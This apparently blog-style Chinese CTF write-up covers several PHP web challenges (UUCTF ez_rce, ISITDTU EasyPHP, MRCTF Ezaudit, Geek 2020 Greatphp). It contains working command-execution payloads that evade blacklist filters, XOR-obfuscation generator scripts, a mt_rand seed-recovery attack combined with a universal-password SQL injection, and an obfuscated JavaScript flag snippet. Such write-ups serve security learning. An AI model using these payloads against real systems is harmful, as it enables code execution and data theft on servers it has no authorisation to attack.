_0x4a49a2={_0x112dad:0xe5,_0x373d02:0xc9,_0x279d60:0xe4,_0x2afcc4:0xc1,_0x1d4d88:0x96,_0x218565:0x9b,_0x305bb7:0x80,_0x4c1214:0x9c,_0x586b8d:0x408,_0x57f03e:0x3f4,_0x3d6243:0x3fc,_0x13ddcd:0x3e6,_0x1d9509:0x3c3,_0x474faf:0x3e2,_0x391269:0xa9,_0x53a13b:0xc0,_0x4117cc:0xa8,_0x583742:0xd9,_0x4235d6:0xbe,_0x54aba5:0xb8,_0x4e6853:0xd3,_0x42b7f7:0x3f0,_0x13ee23:0x406,_0x298794:0x421},_0x300566={_0x396a2d:0x9c,_0x7a7a0d:0xa1,_0x4c2fba:0x9d,_0x19235f:0x4dc,_0x3e9be9:0x4f6,_0x23818b:0x4fa,_0x3a19c1:0x4e0,_0x6d52a1:0xa6,_0x2ac2a7:0x98,_0x4278a8:0x8e,_0x3ea5e7:0x94,_0x20d114:0x90,_0x4d1d85:0x508,_0xe0fbc7:0x515,_0x9792cd:0x51a,_0x215110:0x51b,_0x52e8ac:0x52c,_0x1b4243:0x51f,_0x5a6497:0x502,_0x59cd67:0x512,_0x7a58f7:0x4fe},_0x29d9e8={_0x1da745:0x14c,_0x4495b7:0x14,_0x5896f1:0x141},_0x22f6a7={_0x149d1c:0x3d1,_0x484949:0x3f0,_0x580f1a:0x3bf},_0x15680f={_0x468224:0x12b,_0x33c27f:0x1db},_0x3278e5={_0x45e6d5:0x123},_0xa33426={'zPMSP':function(_0xb99d44,_0x4b9584){return _0xb99d44(_0x4b9584);},'fiLai':_0x446d48(_0x4a49a2._0x112dad,_0x4a49a2._0x373d02,_0x4a49a2._0x279d60,_0x4a49a2._0x2afcc4)+_0x446d48(_0x4a49a2._0x1d4d88,_0x4a49a2._0x218565,_0x4a49a2._0x305bb7,_0x4a49a2._0x4c1214)+_0xe3e054(_0x4a49a2._0x586b8d,0x3fc,_0x4a49a2._0x57f03e,0x40b)+_0xe3e054(_0x4a49a2._0x3d6243,_0x4a49a2._0x13ddcd,_0x4a49a2._0x1d9509,_0x4a49a2._0x474faf),'ZGfsJ':function(_0xcd3e14,_0x4fa364){return _0xcd3e14===_0x4fa364;},'qNcZO':_0x446d48(_0x4a49a2._0x391269,_0x4a49a2._0x53a13b,_0x4a49a2._0x4117cc,_0x4a49a2._0x583742),'soGRJ':_0x446d48(0xbf,_0x4a49a2._0x4235d6,_0x4a49a2._0x54aba5,_0x4a49a2._0x4e6853),'ApVsf':_0xe3e054(_0x4a49a2._0x42b7f7,_0x4a49a2._0x13ee23,_0x4a49a2._0x298794,0x407)},_0xfee301=!![];function _0xe3e054(_0x3a66fc,_0xd075cf,_0x7548c,_0xc35154){return _0x3b1f(_0xc35154-0x21c,_0x7548c);}function _0x446d48(_0x41529d,_0x3dba59,_0x2282f6,_0x5ef95b){return _0x3b1f(_0x3dba59- -_0x3278e5._0x45e6d5,_0x5ef95b);}return function(_0xc143d7,_0x90f41b){var _0x41e43a={_0x3ff16e:0x3e5,_0x43f9f0:0x3fc,_0x2b3bc9:0x3ee,_0x1c7550:0x41b,_0x2049cf:0x40e,_0x4a9905:0x4e,_0x4bce32:0x3f9,_0x53759a:0x424,_0x32817f:0x422,_0x5ebef2:0x3f4,_0x3b13d5:0x41f,_0x20ccb8:0x3fb,_0x32d303:0x407},_0x5ecfbd={_0x93ae96:0x143,_0xb1250f:0x2b},_0x537975={_0x4ca258:0x11c,_0x4f2217:0xd8};function _0x5bf8ef(_0x5296da,_0x42f36b,_0x571f63,_0x9f3a62){return _0xe3e054(_0x5296da-_0x15680f._0x468224,_0x42f36b-_0x15680f._0x33c27f,_0x571f63,_0x42f36b-0x11a);}var _0x594b74={'SZsAb':function(_0x1202b6,_0x1044bd){var _0x1baa58={_0x19fa0c:0x203};function _0x3f3f33(_0x221b2e,_0x58a14e,_0x3af901,_0x18bd53){return _0x3b1f(_0x221b2e-_0x1baa58._0x19fa0c,_0x18bd53);}return _0xa33426[_0x3f3f33(_0x22f6a7._0x149d1c,0x3da,_0x22f6a7._0x484949,_0x22f6a7._0x580f1a)](_0x1202b6,_0x1044bd);},'JCKBe':_0xa33426[_0x2acb4d(_0x300566._0x396a2d,0xbe,_0x300566._0x7a7a0d,_0x300566._0x4c2fba)],'zUmhZ':function(_0x378e99,_0xb87400){return _0xa33426['ZGfsJ'](_0x378e99,_0xb87400);},'NZqDE':_0xa33426[_0x5bf8ef(_0x300566._0x19235f,_0x300566._0x3e9be9,_0x300566._0x23818b,_0x300566._0x3a19c1)],'uRgDI':function(_0x45bd46,_0x25be26){return _0x45bd46===_0x25be26;},'uKrlz':_0xa33426[_0x2acb4d(0x82,_0x300566._0x6d52a1,0x96,_0x300566._0x2ac2a7)]};function _0x2acb4d(_0x3b9921,_0x18c824,_0x1fd099,_0x257daf){return _0x446d48(_0x3b9921-_0x29d9e8._0x1da745,_0x1fd099- -_0x29d9e8._0x4495b7,_0x1fd099-_0x29d9e8._0x5896f1,_0x257daf);}if(_0xa33426[_0x2acb4d(_0x300566._0x4278a8,_0x300566._0x7a7a0d,_0x300566._0x3ea5e7,_0x300566._0x20d114)](_0xa33426[_0x5bf8ef(_0x300566._0x4d1d85,_0x300566._0xe0fbc7,0x4f9,_0x300566._0x9792cd)],_0xa33426[_0x5bf8ef(_0x300566._0x215110,_0x300566._0xe0fbc7,0x516,_0x300566._0x52e8ac)])){var _0x28ec78=_0xfee301?function(){function _0x3d8db4(_0x300069,_0x29931f,_0x428701,_0x1afffd){return _0x2acb4d(_0x300069-0x1d3,_0x29931f-_0x537975._0x4ca258,_0x300069- -_0x537975._0x4f2217,_0x428701);}function _0x20a2ae(_0x13db61,_0x3e36fb,_0x53d342,_0x2a2910){return _0x2acb4d(_0x13db61-_0x5ecfbd._0x93ae96,_0x3e36fb-_0x5ecfbd._0xb1250f,_0x3e36fb-0x374,_0x2a2910);}if(_0x594b74[_0x20a2ae(_0x41e43a._0x3ff16e,_0x41e43a._0x43f9f0,_0x41e43a._0x2b3bc9,_0x41e43a._0x1c7550)](_0x20a2ae(0x3f0,0x407,0x412,_0x41e43a._0x2049cf),_0x594b74['NZqDE'])){if(_0x4ce282){var _0x3856d2=_0x540010['apply'](_0x3fc19a,arguments);return _0x43e8c9=null,_0x3856d2;}}else{if(_0x90f41b){if(_0x594b74[_0x3d8db4(-_0x41e43a._0x4a9905,-0x44,-0x3e,-0x48)](_0x594b74[_0x20a2ae(_0x41e43a._0x4bce32,0x404,_0x41e43a._0x53759a,_0x41e43a._0x32817f)],'cjnwI'))return _0x594b74['SZsAb'](_0x1c3fd3,_0x594b74[_0x20a2ae(_0x41e43a._0x5ebef2,0x40c,0x41c,0x413)]),![];else{var _0x6a796=_0x90f41b[_0x20a2ae(_0x41e43a._0x3b13d5,0x409,_0x41e43a._0x20ccb8,_0x41e43a._0x32d303)](_0xc143d7,arguments);return _0x90f41b=null,_0x6a796;}}}}:function(){};return _0xfee301=![],_0x28ec78;}else{if(_0x3edea5){var _0x42ccd2=_0x53f582[_0x5bf8ef(_0x300566._0x1b4243,_0x300566._0x5a6497,_0x300566._0x59cd67,_0x300566._0x7a58f7)](_0x46b7f7,arguments);return _0x4f0275=null,_0x42ccd2;}}};}());function _0xe4a674(_0x4f361c,_0x342d49,_0x2d96fd,_0x4ee16d){var _0xa495a5={_0x26aaa4:0x3a6};return _0x3b1f(_0x342d49-_0xa495a5._0x26aaa4,_0x4ee16d);}var _0x5a7a9e=_0x18bc3c(this,function(){var _0x4144aa={_0x4f61c6:0x45,_0x4ec412:0x52,_0x4466f1:0x5b,_0x59405e:0x41,_0x5402ec:0x30,_0x23a7b5:0x19,_0x39cdb3:0xc,_0xa27ff5:0x2a,_0x27781b:0x11,_0x28ad57:0x27,_0x42431b:0xf,_0x58e6a6:0x44,_0x1fe380:0x3d,_0x41c840:0x3e,_0x477930:0x57,_0x9c4a22:0x46,_0x2d9097:0x40,_0xc7b3a9:0x2c,_0x5d5f63:0x26,_0x168a67:0x22,_0x176432:0x35,_0x5a4a44:0x3a,_0x41ed0d:0x51,_0x22ff6f:0x17,_0x4f793a:0x21,_0x14c440:0x2f,_0x20e197:0x49,_0x34dff4:0x48,_0x59b287:0x4c,_0x507934:0x47,_0x21b0c8:0x64,_0x4f8687:0x39,_0x1f3a88:0x48,_0x2aba12:0x5a,_0x422a11:0x5f,_0x18f7c3:0x4f,_0xff3bc2:0x6a,_0x108211:0x35,_0x2caa7a:0x43,_0x4e740c:0x5e,_0x18d7cd:0x3f,_0x47cc51:0x2d,_0x2a7dfb:0x3a,_0x2289cf:0x4d,_0x5c6a95:0x61,_0x50cdcd:0x1,_0x51ba5d:0x18,_0x16a5c4:0x1b,_0x2710b4:0x52,_0x20ce72:0x36,_0x27cb18:0x3d,_0x48b65d:0x27,_0x37efbc:0x20,_0x5a5b51:0x33,_0x46aa95:0x3c,_0x1e2298:0x34,_0x20110d:0x58,_0x254af3:0x42,_0x1a94f1:0x1e,_0x5ada1f:0x31,_0x196f40:0x34,_0x4a8c85:0x28,_0x47addc:0x19,_0x30822d:0x24,_0x3e249d:0x2e,_0x2b26e0:0x58,_0x4f3690:0x47,_0x3c504c:0x50,_0x1a2215:0x6f,_0x39fe3a:0x4a,_0x4fd901:0x45,_0x10de2d:0x1f,_0x2a2458:0x25,_0x58203e:0x1a},_0x516e80={_0x5cb0d8:0x211},_0x5d0dad={_0x1613ab:0x1ff},_0x1550b6={_0x140e00:0x89,_0x607bd8:0x75,_0x4b17ac:0x6c,_0x49bd64:0x69,_0x3f68a9:0x139,_0x2ddba9:0x10b,_0xde357b:0x129,_0x4cdfc3:0x127,_0x57e7ef:0x12e,_0x5880b7:0x11c},_0x3192e1={_0xc8443:0x1df,_0x46ec9d:0x6a,_0x28ff76:0x18},_0x4a808f={_0x4b5811:0xb5,_0x32e532:0x14a},_0x5c60d1={'hBTTo':function(_0x25fb20,_0x12189f){return _0x25fb20(_0x12189f);},'uIXZH':function(_0xb7d19a,_0x59fe0a){return _0xb7d19a+_0x59fe0a;},'ImzSF':_0x267e4f(-_0x4144aa._0x4f61c6,-_0x4144aa._0x4ec412,-_0x4144aa._0x4466f1,-_0x4144aa._0x59405e)+_0x4a6379(-_0x4144aa._0x5402ec,-_0x4144aa._0x23a7b5,-_0x4144aa._0x39cdb3,-_0x4144aa._0xa27ff5),'lJzaJ':_0x4a6379(-_0x4144aa._0x27781b,-_0x4144aa._0x28ad57,-0xe,-_0x4144aa._0x42431b)+_0x267e4f(-0x5a,-_0x4144aa._0x58e6a6,-_0x4144aa._0x1fe380,-0x2c)+_0x4a6379(-_0x4144aa._0x41c840,-_0x4144aa._0x477930,-0x5a,-_0x4144aa._0x9c4a22)+'\x20)','kEHtY':function(_0x2b88a3){return _0x2b88a3();},'fHNYw':_0x4a6379(-0x1b,-_0x4144aa._0x2d9097,-_0x4144aa._0xc7b3a9,-_0x4144aa._0x5d5f63),'CVRPZ':_0x4a6379(-_0x4144aa._0x168a67,-_0x4144aa._0x176432,-0x28,-_0x4144aa._0x5a4a44),'yilcq':_0x267e4f(-_0x4144aa._0x41ed0d,-_0x4144aa._0x477930,-0x59,-0x77),'wUKnB':'exception','KihKC':'trace','iCuce':function(_0x15cdbf,_0x284bba){return _0x15cdbf===_0x284bba;},'aVzQL':_0x267e4f(-_0x4144aa._0x22ff6f,-_0x4144aa._0x4f793a,-_0x4144aa._0x14c440,-_0x4144aa._0x20e197)},_0x333977=function(){function _0x5b1501(_0x5f3aa4,_0x2ebac2,_0x3cf02c,_0x21e2be){return _0x4a6379(_0x5f3aa4-_0x4a808f._0x4b5811,_0x5f3aa4,_0x3cf02c-_0x4a808f._0x32e532,_0x2ebac2- -0xfc);}var _0x5f3690;function _0xfa6b34(_0x541643,_0x242a5d,_0x3b6829,_0x486be3){return _0x267e4f(_0x541643-_0x3192e1._0xc8443,_0x242a5d-_0x3192e1._0x46ec9d,_0x242a5d- -_0x3192e1._0x28ff76,_0x486be3);}try{_0x5f3690=_0x5c60d1['hBTTo'](Function,_0x5c60d1[_0xfa6b34(-_0x1550b6._0x140e00,-_0x1550b6._0x607bd8,-_0x1550b6._0x4b17ac,-_0x1550b6._0x49bd64)](_0x5c60d1[_0x5b1501(-_0x1550b6._0x3f68a9,-0x120,-0x103,-0x129)]+(_0x5b1501(-0x123,-_0x1550b6._0x2ddba9,-0x107,-0x10d)+_0x5b1501(-_0x1550b6._0xde357b,-_0x1550b6._0x4cdfc3,-_0x1550b6._0x57e7ef,-_0x1550b6._0x5880b7)+'rn\x20this\x22)('+'\x20)'),');'))();}catch(_0xdb4722){_0x5f3690=window;}return _0x5f3690;},_0x184b95=_0x5c60d1[_0x267e4f(-0x5b,-_0x4144aa._0x34dff4,-0x48,-_0x4144aa._0x59b287)](_0x333977),_0x3692ac=_0x184b95[_0x4a6379(-_0x4144aa._0x507934,-_0x4144aa._0x21b0c8,-_0x4144aa._0x4f8687,-_0x4144aa._0x34dff4)]=_0x184b95[_0x267e4f(-_0x4144aa._0x1f3a88,-0x74,-_0x4144aa._0x2aba12,-0x78)]||{};function _0x4a6379(_0x247b48,_0x32c30d,_0x193949,_0x47b8dc){return _0x3b1f(_0x47b8dc- -_0x5d0dad._0x1613ab,_0x32c30d);}var _0x5a0618=[_0x5c60d1[_0x267e4f(-_0x4144aa._0x41c840,-_0x4144aa._0x422a11,-_0x4144aa._0x18f7c3,-_0x4144aa._0xff3bc2)],_0x5c60d1['CVRPZ'],_0x5c60d1['yilcq'],'error',_0x5c60d1['wUKnB'],'table',_0x5c60d1[_0x267e4f(-0x51,-0x50,-_0x4144aa._0x108211,-0x2f)]];function _0x267e4f(_0x461525,_0xfee197,_0x3156e7,_0x46e751){return _0x3b1f(_0x3156e7- -_0x516e80._0x5cb0d8,_0x46e751);}for(var _0x3524db=0xf*-0x51+-0x17db+0x1c9a;_0x3524db<_0x5a0618[_0x267e4f(-_0x4144aa._0x2caa7a,-_0x4144aa._0x4e740c,-0x5c,-_0x4144aa._0x18d7cd)];_0x3524db++){if(_0x5c60d1[_0x267e4f(-_0x4144aa._0x47cc51,-_0x4144aa._0x2a7dfb,-_0x4144aa._0x2289cf,-_0x4144aa._0x5c6a95)](_0x5c60d1[_0x267e4f(-0x51,-0x76,-_0x4144aa._0x477930,-_0x4144aa._0x21b0c8)],_0x4a6379(0x3,_0x4144aa._0x50cdcd,-_0x4144aa._0x51ba5d,-_0x4144aa._0x16a5c4))){var _0x242bf8;try{_0x242bf8=_0x391b0a(_0x5c60d1[_0x267e4f(-0x52,-_0x4144aa._0x2710b4,-_0x4144aa._0x20ce72,-_0x4144aa._0x27cb18)]+_0x5c60d1['lJzaJ']+');')();}catch(_0x35c4c3){_0x242bf8=_0x56ea5b;}return _0x242bf8;}else{var _0x51616c=(_0x267e4f(-_0x4144aa._0x2caa7a,-0x15,-_0x4144aa._0x48b65d,-_0x4144aa._0x37efbc)+'3')[_0x267e4f(-_0x4144aa._0x5402ec,-_0x4144aa._0x5a5b51,-0x3f,-_0x4144aa._0x18d7cd)]('|'),_0x2f48bc=0x251*-0x1+-0x2436+0x2687;while(!![]){switch(_0x51616c[_0x2f48bc++]){case'0':var _0x468a4d=_0x3692ac[_0x14b7da]||_0x58126c;continue;case'1':var _0x14b7da=_0x5a0618[_0x3524db];continue;case'2':var _0x58126c=_0x18bc3c[_0x4a6379(-_0x4144aa._0x46aa95,-_0x4144aa._0x1e2298,-_0x4144aa._0x20110d,-_0x4144aa._0x254af3)+'r'][_0x4a6379(-_0x4144aa._0x1a94f1,-_0x4144aa._0x5ada1f,-_0x4144aa._0x196f40,-_0x4144aa._0x4a8c85)][_0x267e4f(-0x47,-_0x4144aa._0x47addc,-_0x4144aa._0xc7b3a9,-0x28)](_0x18bc3c);continue;case'3':_0x3692ac[_0x14b7da]=_0x58126c;continue;case'4':_0x58126c[_0x4a6379(-_0x4144aa._0x5402ec,-_0x4144aa._0x14c440,-_0x4144aa._0x30822d,-_0x4144aa._0x4f793a)]=_0x18bc3c[_0x267e4f(-_0x4144aa._0x4f8687,-_0x4144aa._0x3e249d,-_0x4144aa._0xc7b3a9,-_0x4144aa._0x59405e)](_0x18bc3c);continue;case'5':_0x58126c[_0x267e4f(-_0x4144aa._0x2b26e0,-_0x4144aa._0x4f3690,-_0x4144aa._0x4e740c,-_0x4144aa._0x3c504c)]=_0x468a4d[_0x267e4f(-_0x4144aa._0x1a2215,-_0x4144aa._0x39fe3a,-_0x4144aa._0x4e740c,-_0x4144aa._0x4fd901)][_0x4a6379(-_0x4144aa._0x10de2d,-_0x4144aa._0x168a67,-_0x4144aa._0x2a2458,-_0x4144aa._0x58203e)](_0x468a4d);continue;}break;}}}});_0x5a7a9e();

然后再执行

1
alert(_0x324fcb(0x2d9,0x2c3,0x2db,0x2f3)+'k3r_h0pe_t'+_0xe4a674(0x5a1,0x595,0x59e,0x57c)+'irlfriend}')

[UUCTF 2022 新生赛]ez_rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}

学到了一些rce的新方法

1
2
3
?code=print('l\s');//反引号  print_r也可以
?code=var_dump(‘l\s’); //都是反引号
?code=’l\s /|tee a‘; //反引号,然后去a文件看结果

还有一种是参数逃逸执行任意命令

1
?1=passthru('l\s /');&code=eval(pos(pos(get_defined_vars())));

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
getchwd():函数返回当前工作目录。
scandir():函数返回指定目录中的文件和目录的数组。
dirname():函数返回路径中的目录部分。
chdir():函数改变当前的目录。
readfile():输出一个文件。
current():返回数组中的当前单元, 默认取第一个值。
pos()current() 的别名。
next():函数将内部指针指向数组中的下一个元素,并输出。
end():将内部指针指向数组中的最后一个元素,并输出。
array_rand():函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip()array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice():函数在数组中根据条件取出一段值,并返回。
array_reverse():函数返回翻转顺序的数组。
chr() 函数从指定的:ASCII 值返回字符。
hex2bin():— 转换十六进制字符串为二进制字符串。
getenv():获取一个环境变量的值(在7.1之后可以不给予参数)。
localeconv():函数返回一包含本地数字及货币格式信息的数组。
get_defined_vars(): 返回由所有已定义变量所组成的数组

[ISITDTU 2019]EasyPHP

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

正则匹配在线网站
用着还不错,虽然是英文的
因为正则禁用的字符有点多,所以我们可以用异或或者取反
先取反

phpinfo可以通过取反获得
可以看到disable_functions禁用了大量系统函数,同时也限制了open_basedir在/var/www/html,下一步是找flag文件,我们可以用scandir()或者glob()函数列目录,但它返回一个数组,我们还需要一个print_r或var_dump
所以我们需要的式子为print_r(scandir(.))
再用取反执行一句话木马或者命令语句会因为第二个if而无法执行,取反这时是没有办法绕过的

1
2
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

这个if的意思是输入的字符串不能超过13种字符,就是要不同的13种字符,重复的不算入新的字符

这时就需要异或来绕过了

异或绕过脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

#用不可见字符异或
$l = "";
$r = "";
//$argv = str_split("_GET");
$argv = str_split("phpinfo");
for($i=0;$i<count($argv);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255);
if($k == $argv[$i]){
if($j<16){
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "(".$l."^".$r.")";
#{%ff%ff%ff%ff^%a0%b8%ba%ab} =_GET
#?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
?>

获得的异或式子print_r(scandir(.))

1
((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8d%96%91%8b%a0%8d))(((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%91%9b%96%8d))((%ff)^(%d1)));

发现还是没有通过第二个if,且用了16个不同字符,下一步需要缩减字符数

除去必要字符外()^;我们还有12个不同字符,%ff很重要所以不能去掉,先不包含它,所以我们现在有11个不同字符,需要再去掉3个,8+%ff(必要)+4(必要字符) = 13 刚刚好
现在我们要做的是在这11个字符种去掉3个,然后再让它们之间相互异或,以得到去掉的那3个字符的值(那三个值随意)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]  #除去必要字符的11个不同字符
result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c] # 去掉3个字符后的不同字符,这里我们把ntr去掉了
temp = []
for d in result2:
for a in result:
for b in result:
for c in result:
if (a ^ b ^ c == d):
if a == b == c == d:
continue
else:
print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
if d not in temp:
temp.append(d)
print(len(temp), temp)

print_r源式子

1
(%ff%ff%ff%ff%ff%ff%ff)^(%8f%8d%96%91%8b%a0%8d)

缩减后的

1
(%8f%9c%96%9b%9b%a0%9c)^(%ff%9e%ff%9c%9c%ff%9e)^(%ff%8f%ff%96%8c%ff%8f)^(%ff%ff%ff%ff%ff%ff%ff)

scandir源式子

1
(%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%91%9b%96%8d)

两个%ff相互异或为0,所以缩减后未改变原值
缩减后的

1
(%8c%9c%9e%9b%9b%96%9c)^(%ff%ff%ff%9c%ff%ff%9e)^(%ff%ff%ff%96%ff%ff%8f)^(%ff%ff%ff%ff%ff%ff%ff)

.的异或未改变

两式子合二为一

1
((%8f%9c%96%9b%9b%a0%9c)^(%ff%9e%ff%9c%9c%ff%9e)^(%ff%8f%ff%96%8c%ff%8f)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%9b%9b%96%9c)^(%ff%ff%ff%9c%ff%ff%9e)^(%ff%ff%ff%96%ff%ff%8f)^(%ff%ff%ff%ff%ff%ff%ff))((%ff)^(%d1)));


完成,但这个flag需要读取,无法直接访问
那么我们再构造一个语句,scandir返回的是一个数组,且刚才的结果显示我们要找的文件再scandir的结果最后面,那么用end()方法就可以得到文件名了,读文件可以用show_source或者readfile
构造语句show_source(end(scandir(.)));
先简单异或构造

1
(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff^%8c%97%90%88%a0%8c%90%8a%8d%9c%9a)(%ff%ff%ff^%9a%91%9b(%ff%ff%ff%ff%ff%ff%ff^%8c%9c%9e%91%9b%96%8d)(%ff^%d1));

发现有19个不同字符,那么我们需要去掉6个字符,这里我们去掉的是h r o u a i

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
result2 = [0x8c, 0x97, 0x90, 0x88, 0xa0, 0x8a, 0x8d, 0x9c, 0x9a, 0x91, 0x9b, 0x9e, 0x96, 0xd1]
result = [0x8c, 0xa0, 0x88, 0x9c, 0x9a, 0x91, 0x9b, 0xd1]
temp = []
for d in result2:
for a in result:
for b in result:
for c in result:
if (a ^ b ^ c == d):
if a == b == c == d:
continue
else:
print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
# print(d)
# d = bytes.fromhex(d)
# d = d.decode('ascii', errors='ignore')
# print(d)
# print(f"{bytes.fromhex(d).decode('ascii', errors='ignore')}=%{a} ^ %{b} ^ %{c}")
if d not in temp:
temp.append(d)
print(len(temp), temp)

运行脚本得到结果并手动去重
和刚才的方法一样,直接上结果把

1
((%8c%9c%9a%88%a0%8c%9a%8c%8c%9c%9a)^(%ff%9a%91%ff%ff%ff%91%9c%9a%ff%ff)^(%ff%91%9b%ff%ff%ff%9b%9a%9b%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%ff%ff%ff)^(%9a%91%9b))(((%8c%9c%8c%91%9b%9c%8c)^(%ff%ff%88%ff%ff%91%9a)^(%ff%ff%9a%ff%ff%9b%9b)^(%ff%ff%ff%ff%ff%ff%ff))((%ff)^(%d1))));


也可以检查去重的值有没有变化

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__file__);
$print_r=urldecode('%8c%9c%9a%88%a0%8c%9a%8c%8c%9c%9a')^urldecode('%ff%9a%91%ff%ff%ff%91%9c%9a%ff%ff')^urldecode('%ff%91%9b%ff%ff%ff%9b%9a%9b%ff%ff')^urldecode('%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff
');
$scandir=urldecode('%8c%9c%8c%91%9b%9c%8c')^urldecode('%ff%ff%88%ff%ff%91%9a')^urldecode('%ff%ff%9a%ff%ff%9b%9b')^urldecode('%ff%ff%ff%ff%ff%ff%ff
');
print($print_r);
print("\n");
print($scandir);


# ((%8f%9c%96%9b%9b%a0%9c)^(%ff%9e%ff%9c%9c%ff%9e)^(%ff%8f%ff%96%8c%ff%8f)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%9b%9b%96%9c)^(%ff%ff%ff%9c%ff%ff%9e)^(%ff%ff%ff%96%ff%ff%8f)^(%ff%ff%ff%ff%ff%ff%ff))((%ff)^(%d1)));

总结:

思考了一下午才有了思路,期间被垃圾博客带偏思路,浪费了很多时间,再总结一下整体方案:先简单异或->看有几个多出来的数,不同数的总数-13就是多出来的数,接下来需要用已知的数来构造那多出来数的值–>将值拼接回源式–>构造完成

[MRCTF2020]Ezaudit

网站有源码泄露,只有一个index.php
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}

else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}

}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???

看似非常简单,实际也非常简单
这里有公钥和密钥,现在知道公钥是什么,可以通过伪随机数漏洞来求解,来推出种子值
这里借助工具php_mt_seed

先爆破随机序列,官网的脚本竟然不好用,求出的序列爆不出种子值,这里换用找到的脚本

然后使用php_mt_seed爆出种子值

带入所给PHP代码

得到私钥
XuNhoueCDCGc

因为用户名给出了,所以我们直接在密码处执行万能密码即可
点击登录获得flag

[极客大挑战 2020]Greatphp

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

原生类反序列化
进入题目,分析源码,题目绕过类型第一眼看上去在ctf的基础题目中非常常见,一般情况下只需要使用数组即可绕过,但是命令里面eval() syc这个参数有得被执行,所以不能是数组。

所以我们可以使用含有__toString方法的PHP内置类(也就是原生类)来绕过,用的两个比较多的内置类就是Exception和Error,它们之中有一个__toString方法,当类被当作字符串处理时,就会调用这个函数

Error:用于PHP7、8,开启报错
Exceotion:用于PHP5、7、8,开启报错
Error是所有PHP内部错误类的基类,该类在PHP 7.0.0中开始引入的

